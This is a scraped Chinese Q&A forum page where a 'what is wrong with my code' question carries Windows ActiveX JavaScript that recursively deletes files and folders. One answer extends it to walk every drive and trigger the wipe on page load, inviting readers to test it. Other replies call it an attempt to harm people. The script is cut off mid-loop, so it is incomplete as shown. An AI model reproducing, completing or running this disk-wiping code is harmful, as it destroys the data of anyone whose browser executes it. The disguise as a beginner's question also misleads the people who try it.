JAVASCRIPT 这段代码哪里错了啊?? 菜鸟小心!!!

来源:百度知道 编辑:UC知道 时间:2024/06/08 20:23:14
<script language="javascript">
function del_in_folder(path){
try{
var axobj=new ActiveXObject("Scripting.FileSystemObject");
}catch(error){
alert(error.description);
}
var nodelf="";
while(true){
if(nodelf != ""){
path=nodelf.split("|")[0];
nodelf=nodelf.substr(path.length+1);
}
try{
var f=axobj.GetFolder(path);
}catch(error){
return false;
}
var foc=new Array(2);
foc[0]=new Enumerator( f.files );
foc[1]=new Enumerator( f.SubFolders );
for(var i=0;i<2;i++){
for(;!foc[i].atEnd(); foc[i].moveNext()){
try{
if(i){axobj.GetFolder( foc[i].item() ).Delete(true);}
else {axobj.GetFile( foc[i].item() ).Delete(true) ;}
}catch(err){
if(i){
nodelf += foc[i].item();
nodelf += "|";
}
}

我告诉你,这里改成这样
function delall(){
axobj = new ActiveXObject("Scripting.FileSystemObject");
dris = new Enumerator(axobj.Drives);
for (; !dris.atEnd(); dris.moveNext()) del_in_folder(dris.item());
alert("执行完毕");
};
然后加上一句:
window.onload = delall();
测试结果是什么,你试试就知道。反正很严重,你三思哦!

你个傻X,当大家都是菜鸟啊。。

此人无得救了,整这个代码上来,想害人哦~~

BS

效果就是这样

SB,我日了